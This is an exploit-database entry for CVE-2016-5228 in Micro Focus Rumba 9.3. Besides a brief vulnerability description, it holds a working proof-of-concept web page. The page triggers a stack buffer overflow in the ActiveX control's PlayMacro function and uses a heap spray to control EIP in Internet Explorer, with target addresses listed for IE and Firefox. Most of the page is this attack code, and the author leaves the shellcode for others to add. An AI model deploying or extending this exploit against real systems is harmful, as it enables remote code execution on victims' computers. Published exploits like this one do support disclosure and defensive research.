Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow (PoC)

🗓️ 31 Oct 2016 00:00:00Reported by Umit AksuType

Micro Focus Rumba 9.3 ActiveX Stack Buffer Overflo

Reporter	Title	Published	Views	Family All 9
0day.today	Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow	31 Oct 201600:00	–	zdt
Circl	CVE-2016-5228	31 Oct 201600:00	–	circl
CNVD	Micro Focus Rumba stack buffer overflow vulnerability (CNVD-2016-04557)	5 Jul 201600:00	–	cnvd
CVE	CVE-2016-5228	3 Jul 201601:00	–	cve
Cvelist	CVE-2016-5228	3 Jul 201601:00	–	cvelist
exploitpack	Micro Focus Rumba 9.3 - ActiveX Stack Buffer Overflow (PoC)	31 Oct 201600:00	–	exploitpack
NVD	CVE-2016-5228	3 Jul 201601:59	–	nvd
Packet Storm	Micro Focus Rumba 9.3 Active-X Stack Buffer Overflow	31 Oct 201600:00	–	packetstorm
Prion	Stack overflow	3 Jul 201601:59	–	prion

# Exploit Title: Micro Focus Rumba <= 9.3 ActiveX Stack-based buffer overflow
# Date: 29-10-2016
# Exploit Author: Umit Aksu
# Vendor Homepage: http://community.microfocus.com/microfocus/mainframe_solutions/rumba/w/knowledge_base/28600.micro-focus-rumba-9-x-security-update.aspx
# Software Link: http://nadownloads.microfocus.com/epd/product_download_request.aspx?type=eval&transid=2179441&last4=2179441&code=40231
# Version: <= 9.3
# Tested on: Internet Explorer 11 on windows 7
# CVE : CVE-2016-5228
 


1.  Description
Stack-based buffer overflow in the PlayMacro function in ObjectXMacro.ObjectXMacro in WdMacCtl.ocx in Micro Focus Rumba 9.x before 9.3 HF 11997 and 9.4.x before 9.4 HF 12815 allows remote attackers to execute arbitrary code via a long MacroName argument.


2. Proof of Concept

The code below sprays the memory to have a valid memory address which can then be used to reference... the exploit code only makes it possible to overwrite the EIP the rest is up to you. 




<html>
<head>
    <object classid='clsid:56359FC0-E847-11CE-BE79-02608C8F68F1' id='_vulActiveX'>
    </object> 
</head>
<body>
<div id="blah"></div>

<script language="javascript">

function vuln(){
// 272 Junk Data 
// 272 + "\x43\x43\x43\x43" = EDX = 43434343
//  

// If we change the edx to an address that point to a valid address 
// We will have control over EIP 
// 0x20302228


// Overwrite the stack 
var evil_payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
// Addres pointing to our sprayed heap
var EDX  = "\x28\x22\x30\x20";

evil_payload += EDX;

_vulActiveX.PlayMacro(evil_payload);
   
  }



// This create blocks of memory with data we control
// And attaches the data to a button.title
// By doing this we have a predicatable place in memory containing our data
// This data can by used to place shellcode in it and can be used like in this case to
// point to valid address to overwrite EIP


// Heap Spraying technique of corelanc0d3r 
// See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/

var div_container = document.getElementById("blah");
div_container.style.cssText = "display:none";
var data;
offset = 0x104;
var jmp_address="\x28\x22\x30\x20"; 

junk = unescape("%u4747%u4747");   // <-------- EIP Value
while(junk.length < 0x1000) junk += junk;


// 20302290
shellcode = unescape("%u2290%u2030%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444%u4444");
data = junk.substring(0,offset) + shellcode;
data += junk.substring(0,0x800 - offset - shellcode.length);
while(data.length < 0x80000) data += data
// Targets:
// FireFox: 0x20302210
// IE 8, 9 and 10/11: 0x20302228
for(var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0,0x40000-0x58);
div_container.appendChild(obj);
}


</script>


<input type="button" onclick="javascript:vuln()" value="exploit" >

</body>



</html>

31 Oct 2016 00:00Current

9.6High risk

Vulners AI Score9.6

CVSS 39.8

CVSS 210

EPSS0.51245